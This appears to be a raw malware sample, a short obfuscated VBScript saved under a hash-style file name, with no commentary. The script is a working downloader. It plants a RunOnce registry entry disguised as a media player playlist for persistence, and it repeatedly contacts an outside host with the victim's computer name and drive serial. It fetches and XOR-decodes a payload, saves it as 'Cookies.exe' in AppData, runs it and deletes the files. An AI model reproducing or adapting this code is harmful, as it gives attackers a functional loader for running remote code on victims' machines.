8b33cc03f7b0632a4ec9ad95c30c0622-payload.md

On Error Resume Next
Set bhBxz = WScript.CreateObject("WScript.Shell")
NgWJtK = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\MediaPlayer"
Set VFUSKXwNgG = CreateObject("WScript.Shell")
Set ioBuA = CreateObject("Scripting.FileSystemObject")
ARtLeH = VFUSKXwNgG.ExpandEnvironmentStrings("%USERPROFILE%")
GOfuTtmrFM=VFUSKXwNgG.ExpandEnvironmentStrings("%COMPUTERNAME%")
tAqdq=VFUSKXwNgG.ExpandEnvironmentStrings("%SYSTEMDRIVE%")
IVcetC=VFUSKXwNgG.ExpandEnvironmentStrings("%APPDATA%")
Set CfNENJAKJc = CreateObject("MSXML2.XMLHTTP")
Set qwxFj = CreateObject("ADODB.Stream")
XNzEWF = "\Microsoft\Windows\"
tJBpVztGEl = IVcetC+XNzEWF+"Cookies.exe"
tmtnm = IVcetC+XNzEWF+"Cookies.txt"
xBDCpD = Hex(ioBuA.GetDrive(tAqdq).SerialNumber)
JcwBobnWIK = "http://himym.site/"+ GOfuTtmrFM + "_" + xBDCpD + "/help_Om.php"
bhBxz.RegWrite NgWJtK, "wscript.exe //b "+ ARtLeH +"\Documents\MediaPlayer\PlayList.vbs"
QtcfoyBoVd = 1
Do
WScript.Sleep 176484
CfNENJAKJc.Open "GET", JcwBobnWIK, False
CfNENJAKJc.send
If CfNENJAKJc.Status = 200 Then
qwxFj.Open
qwxFj.Type = 1
qwxFj.Write(CfNENJAKJc.ResponseBody)
qwxFj.SaveToFile tmtnm
qwxFj.Close
WScript.Sleep 11337
Dim hBxFq()
DKQEmt = 0
ReDim hBxFq( Len( xBDCpD ) - 1 )
For DKQEmt = 0 To UBound( hBxFq )
hBxFq(DKQEmt) = Asc( Mid( xBDCpD, DKQEmt + 1, 1 ) )
Next
If Not IsArray( hBxFq ) Then
hBxFq = Array( hBxFq )
End If
If ioBuA.GetFile(tmtnm).size > 10485   Then
Set KjODLptqqm = ioBuA.GetFile(tmtnm)
Set ptyrc = KjODLptqqm.OpenAsTextStream(1,TristateUseDefault)
Set EwGBJVWCLr = ioBuA.CreateTextFile(tJBpVztGEl, True, False )
bXWtKE = 0
Do Until ptyrc.AtEnDofStream  
EwGBJVWCLr.Write Chr( Asc( ptyrc.Read( 1 ) ) Xor hBxFq(bXWtKE) )
If bXWtKE < UBound( hBxFq ) Then 
bXWtKE = bXWtKE + 1
else bXWtKE = 0
End If
Loop
End If
WScript.Sleep 5336
EwGBJVWCLr.Close
ptyrc.Close
If ioBuA.Fileexists(tmtnm) Then ioBuA.DeleteFile tmtnm
If ioBuA.Fileexists(tJBpVztGEl) And ioBuA.GetFile(tJBpVztGEl).size > 4485 Then 
wvagr = VFUSKXwNgG.run (tJBpVztGEl,4,true)
End if
If ioBuA.Fileexists(tJBpVztGEl) Then ioBuA.DeleteFile tJBpVztGEl
End If
Loop While QtcfoyBoVd > 0